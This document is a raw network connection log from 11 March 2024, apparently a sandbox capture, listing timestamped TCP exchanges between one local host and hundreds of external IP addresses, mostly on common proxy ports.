Mar 11, 2024 18:36:45.084037066 CET	50162	3256	192.168.2.8	106.45.221.168
Mar 11, 2024 18:36:45.084219933 CET	50163	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.084254026 CET	50164	41274	192.168.2.8	162.241.158.204
Mar 11, 2024 18:36:45.084363937 CET	3128	49970	195.154.172.161	192.168.2.8
Mar 11, 2024 18:36:45.084526062 CET	49970	3128	192.168.2.8	195.154.172.161
Mar 11, 2024 18:36:45.084526062 CET	50165	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:45.084759951 CET	49970	3128	192.168.2.8	195.154.172.161
Mar 11, 2024 18:36:45.085215092 CET	50166	8080	192.168.2.8	103.230.49.132
Mar 11, 2024 18:36:45.085284948 CET	50167	3128	192.168.2.8	80.251.219.40
Mar 11, 2024 18:36:45.086285114 CET	50168	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.086458921 CET	50169	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:45.086504936 CET	50170	59268	192.168.2.8	67.213.212.50
Mar 11, 2024 18:36:45.086788893 CET	50171	47036	192.168.2.8	83.151.4.172
Mar 11, 2024 18:36:45.087822914 CET	50172	3128	192.168.2.8	165.232.89.116
Mar 11, 2024 18:36:45.088316917 CET	9764	50029	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.088397980 CET	50029	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.088490009 CET	50029	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.088547945 CET	50173	3128	192.168.2.8	41.223.232.117
Mar 11, 2024 18:36:45.088650942 CET	50174	9090	192.168.2.8	189.240.60.163
Mar 11, 2024 18:36:45.088826895 CET	50175	5678	192.168.2.8	89.34.198.253
Mar 11, 2024 18:36:45.089915037 CET	50177	3129	192.168.2.8	20.204.214.79
Mar 11, 2024 18:36:45.090146065 CET	50176	1337	192.168.2.8	185.217.136.67
Mar 11, 2024 18:36:45.091305971 CET	50178	80	192.168.2.8	223.19.111.185
Mar 11, 2024 18:36:45.091669083 CET	50179	13477	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.092540979 CET	50180	999	192.168.2.8	45.184.155.3
Mar 11, 2024 18:36:45.092704058 CET	50181	8080	192.168.2.8	185.208.102.62
Mar 11, 2024 18:36:45.094079971 CET	80	50074	185.238.228.67	192.168.2.8
Mar 11, 2024 18:36:45.094144106 CET	50074	80	192.168.2.8	185.238.228.67
Mar 11, 2024 18:36:45.094218969 CET	50182	8888	192.168.2.8	154.64.219.2
Mar 11, 2024 18:36:45.094810963 CET	50074	80	192.168.2.8	185.238.228.67
Mar 11, 2024 18:36:45.094948053 CET	9401	49822	147.75.92.251	192.168.2.8
Mar 11, 2024 18:36:45.094993114 CET	9401	49822	147.75.92.251	192.168.2.8
Mar 11, 2024 18:36:45.095036983 CET	49822	9401	192.168.2.8	147.75.92.251
Mar 11, 2024 18:36:45.095150948 CET	49822	9401	192.168.2.8	147.75.92.251
Mar 11, 2024 18:36:45.095647097 CET	50183	3128	192.168.2.8	161.97.132.227
Mar 11, 2024 18:36:45.096169949 CET	50184	42072	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:45.096507072 CET	26087	50036	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:45.096853018 CET	49751	30951	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.096901894 CET	8000	50039	137.184.200.42	192.168.2.8
Mar 11, 2024 18:36:45.096908092 CET	50185	34071	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:45.097634077 CET	50186	8080	192.168.2.8	183.89.9.82
Mar 11, 2024 18:36:45.098297119 CET	50187	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.098366976 CET	50188	8080	192.168.2.8	27.130.253.68
Mar 11, 2024 18:36:45.098427057 CET	8080	50069	201.170.180.188	192.168.2.8
Mar 11, 2024 18:36:45.098485947 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:45.098643064 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:45.098998070 CET	80	50018	50.168.210.239	192.168.2.8
Mar 11, 2024 18:36:45.099473000 CET	50189	49775	192.168.2.8	138.201.21.232
Mar 11, 2024 18:36:45.100620985 CET	50190	9080	192.168.2.8	154.205.152.96
Mar 11, 2024 18:36:45.100686073 CET	50191	3128	192.168.2.8	199.223.255.109
Mar 11, 2024 18:36:45.101656914 CET	16379	49986	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.101737976 CET	49986	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.102149963 CET	50192	8089	192.168.2.8	114.232.109.43
Mar 11, 2024 18:36:45.102164984 CET	49986	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.102339029 CET	50193	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:45.103442907 CET	50194	8080	192.168.2.8	103.159.66.61
Mar 11, 2024 18:36:45.103493929 CET	80	49974	104.18.20.160	192.168.2.8
Mar 11, 2024 18:36:45.103549957 CET	80	49974	104.18.20.160	192.168.2.8
Mar 11, 2024 18:36:45.103712082 CET	49974	80	192.168.2.8	104.18.20.160
Mar 11, 2024 18:36:45.103727102 CET	50195	44374	192.168.2.8	172.93.111.235
Mar 11, 2024 18:36:45.103993893 CET	4145	49852	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.104151964 CET	80	49974	104.18.20.160	192.168.2.8
Mar 11, 2024 18:36:45.104166985 CET	4145	49852	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.104201078 CET	49974	80	192.168.2.8	104.18.20.160
Mar 11, 2024 18:36:45.104563951 CET	50196	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.104960918 CET	50198	80	192.168.2.8	172.67.150.173
Mar 11, 2024 18:36:45.105063915 CET	50197	80	192.168.2.8	104.20.24.214
Mar 11, 2024 18:36:45.105909109 CET	50199	8080	192.168.2.8	46.209.54.102
Mar 11, 2024 18:36:45.105988026 CET	50200	29745	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:45.107240915 CET	50201	4145	192.168.2.8	199.102.107.145
Mar 11, 2024 18:36:45.107666016 CET	50202	8080	192.168.2.8	102.23.234.201
Mar 11, 2024 18:36:45.108141899 CET	50203	30000	192.168.2.8	161.97.74.176
Mar 11, 2024 18:36:45.108391047 CET	50204	3128	192.168.2.8	91.189.177.186
Mar 11, 2024 18:36:45.108658075 CET	4145	49947	36.90.61.224	192.168.2.8
Mar 11, 2024 18:36:45.108994007 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:45.109431982 CET	50206	42331	192.168.2.8	206.189.9.30
Mar 11, 2024 18:36:45.110331059 CET	50207	80	192.168.2.8	185.167.59.215
Mar 11, 2024 18:36:45.111416101 CET	50208	51800	192.168.2.8	110.185.105.210
Mar 11, 2024 18:36:45.112098932 CET	50209	8080	192.168.2.8	159.192.102.249
Mar 11, 2024 18:36:45.112565041 CET	49727	80	192.168.2.8	50.217.226.43
Mar 11, 2024 18:36:45.112946033 CET	50210	31337	192.168.2.8	186.251.255.41
Mar 11, 2024 18:36:45.113724947 CET	50211	80	192.168.2.8	172.67.38.96
Mar 11, 2024 18:36:45.114618063 CET	50212	8080	192.168.2.8	66.225.246.238
Mar 11, 2024 18:36:45.115247965 CET	49775	80	192.168.2.8	50.239.72.18
Mar 11, 2024 18:36:45.115684986 CET	50213	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:45.116513014 CET	50214	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:45.117331982 CET	50215	80	192.168.2.8	36.229.100.73
Mar 11, 2024 18:36:45.117707014 CET	10003	49994	147.75.34.86	192.168.2.8
Mar 11, 2024 18:36:45.117775917 CET	49994	10003	192.168.2.8	147.75.34.86
Mar 11, 2024 18:36:45.117846966 CET	49994	10003	192.168.2.8	147.75.34.86
Mar 11, 2024 18:36:45.117973089 CET	59870	49980	37.187.77.58	192.168.2.8
Mar 11, 2024 18:36:45.118026018 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.118108034 CET	50216	1088	192.168.2.8	81.199.14.49
Mar 11, 2024 18:36:45.118293047 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.119029045 CET	50217	1080	192.168.2.8	209.14.112.8
Mar 11, 2024 18:36:45.119864941 CET	50218	80	192.168.2.8	103.151.20.131
Mar 11, 2024 18:36:45.120850086 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:45.121550083 CET	37355	49992	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:45.121953964 CET	50220	80	192.168.2.8	31.43.179.214
Mar 11, 2024 18:36:45.123231888 CET	4995	49745	116.97.240.147	192.168.2.8
Mar 11, 2024 18:36:45.125277042 CET	50221	8080	192.168.2.8	34.84.95.189
Mar 11, 2024 18:36:45.125766039 CET	50222	80	192.168.2.8	8.222.239.209
Mar 11, 2024 18:36:45.126681089 CET	50223	80	192.168.2.8	195.23.57.78
Mar 11, 2024 18:36:45.127481937 CET	50224	4145	192.168.2.8	199.102.106.94
Mar 11, 2024 18:36:45.128087044 CET	49765	4495	192.168.2.8	67.43.228.252
Mar 11, 2024 18:36:45.128369093 CET	50225	49614	192.168.2.8	206.189.145.23
Mar 11, 2024 18:36:45.129246950 CET	50226	10801	192.168.2.8	103.53.110.45
Mar 11, 2024 18:36:45.134263992 CET	50227	56252	192.168.2.8	103.59.190.209
Mar 11, 2024 18:36:45.134291887 CET	50228	5096	192.168.2.8	165.154.227.154
Mar 11, 2024 18:36:45.134427071 CET	50229	4711	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:45.135061026 CET	50230	49865	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:45.135457039 CET	80	49931	45.139.11.200	192.168.2.8
Mar 11, 2024 18:36:45.135539055 CET	50231	7891	192.168.2.8	43.129.228.46
Mar 11, 2024 18:36:45.135628939 CET	80	50002	172.67.181.197	192.168.2.8
Mar 11, 2024 18:36:45.135766983 CET	50232	8080	192.168.2.8	101.255.62.129
Mar 11, 2024 18:36:45.136362076 CET	80	50002	172.67.181.197	192.168.2.8
Mar 11, 2024 18:36:45.136590958 CET	50002	80	192.168.2.8	172.67.181.197
Mar 11, 2024 18:36:45.136651039 CET	80	50002	172.67.181.197	192.168.2.8
Mar 11, 2024 18:36:45.136704922 CET	50002	80	192.168.2.8	172.67.181.197
Mar 11, 2024 18:36:45.136934042 CET	50233	80	192.168.2.8	154.65.39.7
Mar 11, 2024 18:36:45.137499094 CET	50234	41055	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:45.137599945 CET	80	50092	23.227.38.198	192.168.2.8
Mar 11, 2024 18:36:45.137661934 CET	50092	80	192.168.2.8	23.227.38.198
Mar 11, 2024 18:36:45.137764931 CET	50092	80	192.168.2.8	23.227.38.198
Mar 11, 2024 18:36:45.138552904 CET	50235	8889	192.168.2.8	216.176.187.99
Mar 11, 2024 18:36:45.138750076 CET	50236	8181	192.168.2.8	43.132.184.228
Mar 11, 2024 18:36:45.138879061 CET	50237	80	192.168.2.8	104.17.171.235
Mar 11, 2024 18:36:45.139509916 CET	50238	81	192.168.2.8	188.168.24.222
Mar 11, 2024 18:36:45.139605045 CET	80	50006	104.27.15.161	192.168.2.8
Mar 11, 2024 18:36:45.139662981 CET	80	50006	104.27.15.161	192.168.2.8
Mar 11, 2024 18:36:45.139883041 CET	50006	80	192.168.2.8	104.27.15.161
Mar 11, 2024 18:36:45.140043020 CET	80	50006	104.27.15.161	192.168.2.8
Mar 11, 2024 18:36:45.140090942 CET	50006	80	192.168.2.8	104.27.15.161
Mar 11, 2024 18:36:45.140541077 CET	50239	8080	192.168.2.8	202.179.188.178
Mar 11, 2024 18:36:45.140630007 CET	50240	43100	192.168.2.8	142.4.7.20
Mar 11, 2024 18:36:45.140832901 CET	50241	80	192.168.2.8	141.147.33.121
Mar 11, 2024 18:36:45.141732931 CET	16379	49829	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.141751051 CET	3128	49823	15.236.106.236	192.168.2.8
Mar 11, 2024 18:36:45.141784906 CET	49829	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.141918898 CET	49829	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.142469883 CET	50242	42624	192.168.2.8	162.214.165.6
Mar 11, 2024 18:36:45.142587900 CET	16379	49829	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.142642975 CET	50243	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.142739058 CET	50244	80	192.168.2.8	37.120.189.106
Mar 11, 2024 18:36:45.142987967 CET	80	49810	149.202.91.219	192.168.2.8
Mar 11, 2024 18:36:45.143501997 CET	80	49810	149.202.91.219	192.168.2.8
Mar 11, 2024 18:36:45.143598080 CET	3128	49823	15.236.106.236	192.168.2.8
Mar 11, 2024 18:36:45.143610954 CET	80	49810	149.202.91.219	192.168.2.8
Mar 11, 2024 18:36:45.143696070 CET	49810	80	192.168.2.8	149.202.91.219
Mar 11, 2024 18:36:45.144032001 CET	49810	80	192.168.2.8	149.202.91.219
Mar 11, 2024 18:36:45.144547939 CET	50245	83	192.168.2.8	103.129.3.246
Mar 11, 2024 18:36:45.145569086 CET	50246	8888	192.168.2.8	194.150.69.56
Mar 11, 2024 18:36:45.145930052 CET	50247	5678	192.168.2.8	191.97.2.198
Mar 11, 2024 18:36:45.146228075 CET	50248	55443	192.168.2.8	197.232.65.40
Mar 11, 2024 18:36:45.146409988 CET	50249	80	192.168.2.8	172.67.182.126
Mar 11, 2024 18:36:45.146778107 CET	50250	80	192.168.2.8	50.217.226.44
Mar 11, 2024 18:36:45.147212029 CET	49823	3128	192.168.2.8	15.236.106.236
Mar 11, 2024 18:36:45.147660971 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.148072004 CET	50252	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.148308992 CET	50253	999	192.168.2.8	38.41.0.94
Mar 11, 2024 18:36:45.149569035 CET	50254	999	192.168.2.8	45.176.97.90
Mar 11, 2024 18:36:45.149933100 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:45.150367975 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:45.150403023 CET	50257	999	192.168.2.8	186.125.218.145
Mar 11, 2024 18:36:45.150580883 CET	8888	50019	95.164.89.123	192.168.2.8
Mar 11, 2024 18:36:45.150650024 CET	50019	8888	192.168.2.8	95.164.89.123
Mar 11, 2024 18:36:45.150940895 CET	50019	8888	192.168.2.8	95.164.89.123
Mar 11, 2024 18:36:45.153467894 CET	9091	49996	120.37.121.209	192.168.2.8
Mar 11, 2024 18:36:45.153964043 CET	49996	9091	192.168.2.8	120.37.121.209
Mar 11, 2024 18:36:45.154002905 CET	49996	9091	192.168.2.8	120.37.121.209
Mar 11, 2024 18:36:45.154692888 CET	50258	8000	192.168.2.8	128.199.252.41
Mar 11, 2024 18:36:45.154849052 CET	50259	80	192.168.2.8	82.64.77.30
Mar 11, 2024 18:36:45.154963970 CET	50260	40536	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:45.155195951 CET	50261	4145	192.168.2.8	1.2.209.194
Mar 11, 2024 18:36:45.155443907 CET	50263	3128	192.168.2.8	103.35.189.217
Mar 11, 2024 18:36:45.155544996 CET	50262	80	192.168.2.8	13.209.156.241
Mar 11, 2024 18:36:45.155668020 CET	50264	49401	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:45.156264067 CET	50265	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:45.156692982 CET	50266	3128	192.168.2.8	13.40.239.130
Mar 11, 2024 18:36:45.156939030 CET	1080	49806	185.82.87.30	192.168.2.8
Mar 11, 2024 18:36:45.156980991 CET	80	50026	121.159.146.251	192.168.2.8
Mar 11, 2024 18:36:45.156996965 CET	1080	49806	185.82.87.30	192.168.2.8
Mar 11, 2024 18:36:45.157052040 CET	50026	80	192.168.2.8	121.159.146.251
Mar 11, 2024 18:36:45.157193899 CET	49806	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:45.157269001 CET	50026	80	192.168.2.8	121.159.146.251
Mar 11, 2024 18:36:45.157372952 CET	50267	5678	192.168.2.8	83.56.15.57
Mar 11, 2024 18:36:45.159089088 CET	16379	50030	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.159996033 CET	8081	49803	193.239.56.84	192.168.2.8
Mar 11, 2024 18:36:45.161359072 CET	8081	49803	193.239.56.84	192.168.2.8
Mar 11, 2024 18:36:45.161452055 CET	8081	49803	193.239.56.84	192.168.2.8
Mar 11, 2024 18:36:45.161489010 CET	4145	49932	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:45.161501884 CET	4145	49932	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:45.161860943 CET	31908	49791	64.227.108.25	192.168.2.8
Mar 11, 2024 18:36:45.164649010 CET	50268	3128	192.168.2.8	45.159.150.23
Mar 11, 2024 18:36:45.164850950 CET	50030	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.164874077 CET	49791	31908	192.168.2.8	64.227.108.25
Mar 11, 2024 18:36:45.164876938 CET	49803	8081	192.168.2.8	193.239.56.84
Mar 11, 2024 18:36:45.164932013 CET	49803	8081	192.168.2.8	193.239.56.84
Mar 11, 2024 18:36:45.164949894 CET	49777	28971	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:45.164958000 CET	49736	33590	192.168.2.8	85.120.30.66
Mar 11, 2024 18:36:45.164988995 CET	49782	50605	192.168.2.8	51.81.89.146
Mar 11, 2024 18:36:45.165216923 CET	49806	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:45.165430069 CET	50269	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:45.165559053 CET	49791	31908	192.168.2.8	64.227.108.25
Mar 11, 2024 18:36:45.165936947 CET	50030	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.166460991 CET	50270	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:45.166944027 CET	50271	10722	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:45.167138100 CET	50272	80	192.168.2.8	172.67.181.129
Mar 11, 2024 18:36:45.167906046 CET	50273	80	192.168.2.8	12.176.231.147
Mar 11, 2024 18:36:45.168214083 CET	50274	3629	192.168.2.8	95.31.42.199
Mar 11, 2024 18:36:45.168529987 CET	50275	48553	192.168.2.8	203.96.177.211
Mar 11, 2024 18:36:45.168951035 CET	50276	32100	192.168.2.8	50.199.46.20
Mar 11, 2024 18:36:45.169349909 CET	50277	5678	192.168.2.8	103.112.254.66
Mar 11, 2024 18:36:45.169431925 CET	14282	50067	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:45.169492960 CET	50067	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:45.169878960 CET	50067	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:45.170511961 CET	50278	4145	192.168.2.8	119.42.71.103
Mar 11, 2024 18:36:45.170854092 CET	50279	24815	192.168.2.8	95.217.104.21
Mar 11, 2024 18:36:45.170979023 CET	80	50016	162.159.242.138	192.168.2.8
Mar 11, 2024 18:36:45.171020985 CET	80	50016	162.159.242.138	192.168.2.8
Mar 11, 2024 18:36:45.171214104 CET	50280	999	192.168.2.8	190.61.41.165
Mar 11, 2024 18:36:45.171238899 CET	80	50016	162.159.242.138	192.168.2.8
Mar 11, 2024 18:36:45.171287060 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:45.171327114 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:45.171372890 CET	50281	30189	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:45.172020912 CET	50282	80	192.168.2.8	104.17.166.210
Mar 11, 2024 18:36:45.172388077 CET	50283	82	192.168.2.8	117.160.250.163
Mar 11, 2024 18:36:45.172744989 CET	50284	80	192.168.2.8	182.72.203.255
Mar 11, 2024 18:36:45.173016071 CET	50285	8000	192.168.2.8	167.172.79.17
Mar 11, 2024 18:36:45.173691988 CET	50286	3128	192.168.2.8	86.107.178.109
Mar 11, 2024 18:36:45.173979044 CET	50287	29497	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:45.174217939 CET	50288	12113	192.168.2.8	103.49.28.23
Mar 11, 2024 18:36:45.174463987 CET	8080	50114	156.232.9.194	192.168.2.8
Mar 11, 2024 18:36:45.174523115 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:45.174751043 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:45.174940109 CET	50289	8080	192.168.2.8	4.236.183.37
Mar 11, 2024 18:36:45.175149918 CET	50290	32824	192.168.2.8	51.68.164.77
Mar 11, 2024 18:36:45.175736904 CET	50292	3128	192.168.2.8	139.99.148.90
Mar 11, 2024 18:36:45.175914049 CET	50291	5555	192.168.2.8	14.225.254.128
Mar 11, 2024 18:36:45.176376104 CET	50293	81	192.168.2.8	94.153.163.226
Mar 11, 2024 18:36:45.176886082 CET	80	50121	104.20.123.164	192.168.2.8
Mar 11, 2024 18:36:45.176903963 CET	50294	8080	192.168.2.8	94.131.203.7
Mar 11, 2024 18:36:45.176949978 CET	50121	80	192.168.2.8	104.20.123.164
Mar 11, 2024 18:36:45.176990032 CET	13623	49965	36.255.104.1	192.168.2.8
Mar 11, 2024 18:36:45.177303076 CET	50121	80	192.168.2.8	104.20.123.164
Mar 11, 2024 18:36:45.177714109 CET	50296	44195	192.168.2.8	162.19.7.56
Mar 11, 2024 18:36:45.177809954 CET	50297	8080	192.168.2.8	103.124.196.134
Mar 11, 2024 18:36:45.177834034 CET	50295	999	192.168.2.8	170.239.207.241
Mar 11, 2024 18:36:45.177957058 CET	8080	49978	92.118.132.125	192.168.2.8
Mar 11, 2024 18:36:45.178432941 CET	50298	22500	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:45.183291912 CET	4145	50062	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:45.183427095 CET	50062	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:45.186537027 CET	8197	49831	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.186594009 CET	49831	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.186988115 CET	80	50041	104.20.56.71	192.168.2.8
Mar 11, 2024 18:36:45.187005997 CET	80	50041	104.20.56.71	192.168.2.8
Mar 11, 2024 18:36:45.187271118 CET	8197	49831	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.187484026 CET	80	50041	104.20.56.71	192.168.2.8
Mar 11, 2024 18:36:45.187534094 CET	50041	80	192.168.2.8	104.20.56.71
Mar 11, 2024 18:36:45.188714981 CET	80	49737	104.16.226.6	192.168.2.8
Mar 11, 2024 18:36:45.190114975 CET	80	50044	172.67.53.215	192.168.2.8
Mar 11, 2024 18:36:45.190129042 CET	80	50044	172.67.53.215	192.168.2.8
Mar 11, 2024 18:36:45.190582037 CET	49785	80	192.168.2.8	93.188.161.84
Mar 11, 2024 18:36:45.190634966 CET	49729	4145	192.168.2.8	152.32.78.24
Mar 11, 2024 18:36:45.190702915 CET	80	50044	172.67.53.215	192.168.2.8
Mar 11, 2024 18:36:45.190728903 CET	49789	32221	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:45.190747976 CET	50044	80	192.168.2.8	172.67.53.215
Mar 11, 2024 18:36:45.190771103 CET	49787	31033	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:45.192749023 CET	80	50134	104.21.194.182	192.168.2.8
Mar 11, 2024 18:36:45.192814112 CET	50134	80	192.168.2.8	104.21.194.182
Mar 11, 2024 18:36:45.194384098 CET	80	49921	104.16.105.106	192.168.2.8
Mar 11, 2024 18:36:45.199532986 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:45.199763060 CET	5678	49812	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.201437950 CET	44607	49710	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:45.202651024 CET	5678	49812	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.202716112 CET	49812	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.203634977 CET	80	50149	104.16.143.127	192.168.2.8
Mar 11, 2024 18:36:45.203691959 CET	4145	49973	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:45.203711033 CET	50149	80	192.168.2.8	104.16.143.127
Mar 11, 2024 18:36:45.203880072 CET	4145	49973	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:45.204957008 CET	80	50136	172.67.182.0	192.168.2.8
Mar 11, 2024 18:36:45.205013990 CET	50136	80	192.168.2.8	172.67.182.0
Mar 11, 2024 18:36:45.206221104 CET	49719	3129	192.168.2.8	20.219.180.149
Mar 11, 2024 18:36:45.206240892 CET	49797	80	192.168.2.8	50.239.72.19
Mar 11, 2024 18:36:45.210268974 CET	1080	49825	93.171.243.253	192.168.2.8
Mar 11, 2024 18:36:45.210304022 CET	45639	49985	103.212.93.241	192.168.2.8
Mar 11, 2024 18:36:45.210364103 CET	1080	49825	93.171.243.253	192.168.2.8
Mar 11, 2024 18:36:45.210442066 CET	49825	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:45.211905956 CET	80	50117	50.145.6.36	192.168.2.8
Mar 11, 2024 18:36:45.216957092 CET	50149	80	192.168.2.8	104.16.143.127
Mar 11, 2024 18:36:45.217262030 CET	50299	30422	192.168.2.8	157.245.131.28
Mar 11, 2024 18:36:45.217674971 CET	50300	80	192.168.2.8	104.18.161.122
Mar 11, 2024 18:36:45.217822075 CET	50041	80	192.168.2.8	104.20.56.71
Mar 11, 2024 18:36:45.218146086 CET	49831	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.218288898 CET	50044	80	192.168.2.8	172.67.53.215
Mar 11, 2024 18:36:45.218314886 CET	1080	50123	64.124.145.1	192.168.2.8
Mar 11, 2024 18:36:45.218378067 CET	50123	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.218404055 CET	50301	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.218589067 CET	49812	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.218813896 CET	50302	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:45.218909979 CET	50136	80	192.168.2.8	172.67.182.0
Mar 11, 2024 18:36:45.218966007 CET	49825	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:45.219166994 CET	50304	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:45.219185114 CET	50303	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.219290972 CET	50134	80	192.168.2.8	104.21.194.182
Mar 11, 2024 18:36:45.219293118 CET	80	50049	222.255.238.159	192.168.2.8
Mar 11, 2024 18:36:45.219347954 CET	50049	80	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:45.219408035 CET	50049	80	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:45.219448090 CET	50062	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:45.219594955 CET	50123	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.219624043 CET	50305	43100	192.168.2.8	192.163.201.131
Mar 11, 2024 18:36:45.219836950 CET	7853	50100	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.219995022 CET	1080	49984	202.142.167.210	192.168.2.8
Mar 11, 2024 18:36:45.220473051 CET	50306	3128	192.168.2.8	38.54.116.9
Mar 11, 2024 18:36:45.220630884 CET	50307	2020	192.168.2.8	103.170.115.213
Mar 11, 2024 18:36:45.221095085 CET	50308	4153	192.168.2.8	103.84.178.2
Mar 11, 2024 18:36:45.221223116 CET	50309	80	192.168.2.8	50.231.104.58
Mar 11, 2024 18:36:45.221848011 CET	49779	80	192.168.2.8	50.174.145.9
Mar 11, 2024 18:36:45.221857071 CET	49759	8123	192.168.2.8	20.24.43.214
Mar 11, 2024 18:36:45.222465992 CET	50310	16379	192.168.2.8	163.172.131.178
Mar 11, 2024 18:36:45.222814083 CET	50311	999	192.168.2.8	45.234.61.173
Mar 11, 2024 18:36:45.223011017 CET	50312	80	192.168.2.8	190.116.2.52
Mar 11, 2024 18:36:45.223297119 CET	50313	8080	192.168.2.8	178.115.253.35
Mar 11, 2024 18:36:45.224144936 CET	50314	31042	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:45.224364996 CET	50315	3128	192.168.2.8	194.145.209.187
Mar 11, 2024 18:36:45.224391937 CET	8000	50054	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.224448919 CET	50054	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.224843025 CET	50054	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.225245953 CET	50316	65000	192.168.2.8	89.171.116.65
Mar 11, 2024 18:36:45.225794077 CET	50317	999	192.168.2.8	181.78.19.248
Mar 11, 2024 18:36:45.226037979 CET	50318	8765	192.168.2.8	203.161.30.10
Mar 11, 2024 18:36:45.226435900 CET	50319	3128	192.168.2.8	46.101.102.134
Mar 11, 2024 18:36:45.226797104 CET	50320	4153	192.168.2.8	212.31.100.138
Mar 11, 2024 18:36:45.227541924 CET	50321	59341	192.168.2.8	109.75.34.152
Mar 11, 2024 18:36:45.227576971 CET	50322	8080	192.168.2.8	95.84.166.138
